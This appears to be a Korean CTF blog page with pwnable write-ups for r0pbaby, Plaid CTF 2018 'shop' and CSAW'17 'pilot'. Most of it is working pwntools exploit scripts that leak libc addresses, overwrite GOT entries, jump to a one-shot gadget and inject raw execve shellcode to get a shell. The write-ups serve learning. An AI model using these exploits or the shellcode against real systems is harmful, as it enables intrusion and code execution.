최근에 execve() 함수 안에 "/bin/sh"를 호출해주는 부분으로 바로 뛰어 쉘을 한방에 띄울 수 있다는 oneshot gadget이란 것을 알게 되어 이 원샷가젯을 사용하려다가 굉장히 많은 시간을 잡아먹었다. 일단 원샷가젯에 대한 결론을 말하자면... 32bit 바이너리라서 원샷가젯이 안먹힌다;; 64bit에서는 정상적으로 사용가능하므로 64bit 익스에만 사용하도록 하자.


그래도 삽질한 만큼 많은 걸 배운것 같다. 이상 마무리~

제목 그대로다.


magic gadget( 원샷가젯이라고도 한다.)이란 굉장히 편리한 가젯을 알게되어서 한번 r0pbaby에서 써보았다.

아래가 익스 코드... 사실 좀 필요없는 코드가 많긴한데, 그냥 가독성 좋으라고 함수로 추가해서 짜보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
from pwn import *
import string
 
libc  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
elf = ELF("./r0pbaby")
conn = process("./r0pbaby")
    
def get_func(func_name):
    conn.sendlineafter(":","2")
    conn.sendlineafter(":", func_name)
    conn.recvuntil(":")
    func_addr = conn.recvline().strip()
    func_addr = int(func_addr, 16)
    return func_addr
    
def oneshot_ret(addr, size):
    conn.sendlineafter(":","3")
    conn.sendlineafter(":",size)
    conn.sendline("A"*8+p64(addr))
    
print("")
oneshot_offset = 0x46428
 
conn.recvuntil("4) Exit")
system_addr = get_func("system")
 
offset = libc.symbols['system']
libc_base = system_addr-offset
 
oneshot_addr = libc_base + oneshot_offset
 
log.info("libc_base    : 0x%x " % libc_base)
log.info("system_addr  : 0x%x " % system_addr)
log.info("oneshot_addr : 0x%x " % oneshot_addr)
 
oneshot_ret(oneshot_addr ,"16")
conn.interactive()
 
cs

물론 평범하게 pop rdi 가젯 구하고 /bin/sh 문자열 위치도 구해서


"A"*8  |  pop rdi  |  &"/bin/sh"   |  system  


익스할 수도 있다. 뭐... 뭐가 편한지는 사람마다 다르니까 ㅇㅇ; 근데 원샷가젯이 한방에 풀려서 익스가 빨라서 좋긴하다... 굿굿

'Write-up > Pwnable' 카테고리의 다른 글

[34C3 CTF 2017] readme_revenge  (0) 2018.07.02
[Byte Bandits CTF] Tale of a Twisted Mind  (0) 2018.06.02
[Plaid CTF 2018] shop python solve code 2  (0) 2018.05.22
[Plaid CTF 2018] shop python solve code 1  (0) 2018.05.22
[CSAW '17 CTF] pilot  (0) 2018.04.30

code version 1


code version 2


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
from pwn import *
import string
 
lib  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#lib  = ELF("./libc.so.6")
elf = ELF("./shop")
conn = process("./shop")
 
def AddItem(item, description="nothing", price="1"):
    conn.sendlineafter("> ","a")
    conn.sendline(item)
    conn.sendline(description)
    conn.sendline(price)
 
def CheckoutAllItem(item_IDs):
    conn.sendline("c")
    conn.sendline(item_IDs)
    result = conn.recvuntil("TOTAL: $")
    total = conn.recvuntil(".")
    
    return (result, total[:-1])
    
def ListItem():
    conn.sendlineafter("> ""l")
    list = conn.recvuntil("> ")
    return list
    
def RenameShop(name):
    conn.sendline("n")
    conn.sendlineafter('Enter your shop name:', name)
    
conn.sendlineafter('Enter your shop name:'"myria")
 
for i in range(0,33):
    AddItem(str(i))
 
All_ItemIDs = cyclic(0x10000, alphabet='0123456789abcdef', n=4)
 
result, total = CheckoutAllItem(All_ItemIDs)
log.info("Checkout : %s" % total)
 
### fread leak!
fread_got = elf.got["fread"]
memmem_got = elf.got["memmem"]
log.info("fread.got : 0x%x" % fread_got)
RenameShop(p64(fread_got-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
fread_addr = u64(leak)
 
### stdin leak!
stdin = 0x6020D0
RenameShop(p64(stdin-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
stdin_addr = u64(leak)
 
 
### stdout leak!
stdout = 0x6020C0
RenameShop(p64(stdout-12))
 
leak = ListItem().split("\n")[-2].split(":")[0]
leak = leak+"\x00"*(8-len(leak))
stdout_addr = u64(leak)
 
fread_offset = lib.symbols['fread']
memmem_offset = lib.symbols['memmem']
system_offset = lib.symbols['system']
 
stdout_offset = lib.symbols['_IO_2_1_stdout_']
stdin_offset = lib.symbols['_IO_2_1_stdin_']
 
base_addr = fread_addr - fread_offset
memmem_addr = base_addr + memmem_offset
system_addr = base_addr + system_offset
stdin_addr  = base_addr + stdin_offset
 
log.info("%9s : 0x%x" % ("base_addr", base_addr))
log.info("%9s : 0x%x" % ("fread",fread_addr))
log.info("%9s : 0x%x" % ("memmem",memmem_addr))
log.info("%9s : 0x%x" % ("system",system_addr))
log.info("%9s : 0x%x" % ("stdout",stdout_addr))
log.info("%9s : 0x%x" % ("stdin",stdin_addr))
print("")
 
#malloc 
 
ghost = stdout-8
 
RenameShop(p64(ghost)+"@@@@"+"A")
 
result, total = CheckoutAllItem(All_ItemIDs[4:] + p64(stdout_addr)[:4])
log.info("Checkout : %s" % total)
 
print(result)
 
exploit  = "\x00"*8
exploit += p64(stdout_addr)
exploit += p64(0x0)
exploit += p64(stdin_addr)
exploit += p64(0x0)
exploit += p64(0x0)*32 ##checkout item
exploit += p64(memmem_got)
 
RenameShop(exploit)
RenameShop(p64(system_addr))
 
conn.sendline("c")
conn.sendline("/bin/sh")
 
conn.interactive()
 
 
 
cs


1. got영역에서 preItem 이 null이 되게하는 곳(Item갯수가 무려 35개가 되게할수가 있다.)

거기서부터 fread까지 덮어쓰고, fread다음에 있는 strlen의 값을 system함수의 주소로 덮어쓰는 코드


2. 이것말고 shopname을 주소를 bss영역으로 덮고 rename을 통해서 

bss영역을 덮어쓰면서 다시 shopname주소를 memmem의 got값으로 덮어써서 memmem got의 값을 변경시키는 코드도 있다. 



일단 전자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python
from pwn import *
import string
 
lib  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#lib  = ELF("./libc.so.6")
elf = ELF("./shop")
conn = process("./shop")
 
def AddItem(item, description="nothing", price="1"):
    conn.sendlineafter("> ","a")
    conn.sendline(item)
    conn.sendline(description)
    conn.sendline(price)
 
def CheckoutAllItem(item_IDs):
    conn.sendline("c")
    conn.sendline(item_IDs)
    result = conn.recvuntil("TOTAL: $")
    total = conn.recvuntil(".")
    
    return (result, total[:-1])
    
def ListItem():
    conn.sendlineafter("> ""l")
    list = conn.recvuntil("> ")
    return list
    
def RenameShop(name):
    conn.sendline("n")
    conn.sendlineafter('Enter your shop name:', name)
 
def MakeALL_2byte_ItemIDs(k, n):
    """
    de Bruijn sequence for alphabet k
    and subsequences of length n.
    https://en.wikipedia.org/wiki/De_Bruijn_sequence
    """
    try:
        # let's see if k can be cast to an integer;
        # if so, make our alphabet a list
        _ = int(k)
        alphabet = list(map(strrange(k)))
    except (ValueError, TypeError):
        alphabet = k
        k = len(k)
    a = [0* k * n
    sequence = []
    def db(t, p):
        if t > n:
            if n % p == 0:
                sequence.extend(a[1:p + 1])
        else:
            a[t] = a[t - p]
            db(t + 1, p)
            for j in range(a[t - p] + 1, k):
                a[t] = j
                db(t + 1, t)
    db(11)
    return "".join(alphabet[i] for i in sequence)
    
    
conn.sendlineafter('Enter your shop name:'"myria")
 
for i in range(0,33):
    AddItem(str(i))
 
"""
All_ItemIDs = MakeALL_2byte_ItemIDs("0123456789abcdef", 4)
All_ItemIDs = All_ItemIDs[:65540]
"""
All_ItemIDs = cyclic(0x10000, alphabet='0123456789abcdef', n=4)
 
result, total = CheckoutAllItem(All_ItemIDs)
log.info("Checkout : %s" % total)
 
### fread leak!
fread_got = elf.got["fread"]
log.info("fread.got : 0x%x" % fread_got)
RenameShop(p64(fread_got-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
fread_addr = u64(leak)
 
fread_offset = lib.symbols['fread']
strlen_offset = lib.symbols['strlen']
printf_offset = lib.symbols['printf']
fgets_offset = lib.symbols['fgets']
memmem_offset = lib.symbols['memmem']
system_offset = lib.symbols['system']
 
base_addr = fread_addr - fread_offset
strlen_addr = base_addr + strlen_offset
printf_addr = base_addr + printf_offset
fgets_addr = base_addr + fgets_offset
memmem_addr = base_addr + memmem_offset
system_addr = base_addr + 0x046590
 
log.info("%9s : 0x%x" % ("base_addr", base_addr))
log.info("%9s : 0x%x" % ("fread",fread_addr))
log.info("%9s : 0x%x" % ("strlen",strlen_addr))
log.info("%9s : 0x%x" % ("printf",printf_addr))
log.info("%9s : 0x%x" % ("fgets",fgets_addr))
log.info("%9s : 0x%x" % ("memmem",memmem_addr))
log.info("%9s : 0x%x" % ("system",system_addr))
print("")
 
### _preItem Null, RandomID leak
pre_preItemIsNull_Item=0x602008
RenameShop(p64((pre_preItemIsNull_Item+8)-44))
 
leak = ListItem().split("\n")[-2].split(" - ")[1]
leak = leak+"\x00"*(8-len(leak))
pre_preItemIsNull_Item_ID = u64(leak)
log.info("preItemIsNull_Item+8(ID) : 0x%x" % pre_preItemIsNull_Item_ID)
print("")
 
#malloc 
RenameShop(p64(pre_preItemIsNull_Item)+"@@@@"+"A")
LastItemID = p64(pre_preItemIsNull_Item_ID)[:4]
 
result, total = CheckoutAllItem(All_ItemIDs[4:]+LastItemID)
log.info("Checkout : %s" % total)
print(result)
 
exploit  = "\x00"*(fread_got-pre_preItemIsNull_Item)
exploit += p64(fread_addr)
exploit += p64(system_addr)
 
RenameShop(exploit)
conn.sendline("sh;")
conn.interactive()
 
 
 
cs


[CSAW '17 CTF] pilot

2018. 4. 30. 22:54


ctf에 직접 참여해서 푼건 아니고... 나중에 pilot이란 파일만 가지고 문제를 풀었다.


처음해보는 pwn문제라 좀 해멨다. 64bit환경에서 x86(32bit) Shellcode를 가지고 했으니...


또 이번에 문제풀면서 처음으로 파이썬 라이브러리 pwntools랑 gdb-peda를 사용해보았다.

덕분에 여러가지로 공부가 많이 된듯하다. 나중에 실제로 ctf에서 pwn문제 풀면 매우 유용하게 사용할듯.


문제로 들어가자



저렇게 나온다.

Location을 주는데, 저게 중요할것 같다.


gdb-peda로 실행해서 "A"*32 + "B"*8 + "C"*4를 입력하면 아래와 같이 나온다.



RBP가 "BBBB"로 덮이고, RIP는 0x7f0a43434343으로  "CCCC\n"이 덮혀진것을 볼 수 있다.


buf는 "A"*32로 채워져있을 것이므로, 이곳에 shellcode를 넣고 이 곳의 주소로 jump하면 될 것 같다.


참고로 NX는 걸려있지않다.



사용 Shellcode x64 execve 

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= process("./pilot")
print(p.recvuntil("Location:"))
 
buf = p.recvline(False).strip()
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
print("ShellcodeLen : " + str(len(shellcode)))
 
payload = shellcode + "A"*(40-len(shellcode))+p64(int(buf,16))#p32(buf2)+p32(buf1)
 
p.sendline(payload)
sleep(1)
p.interactive()
 
cs




굿


+ Recent posts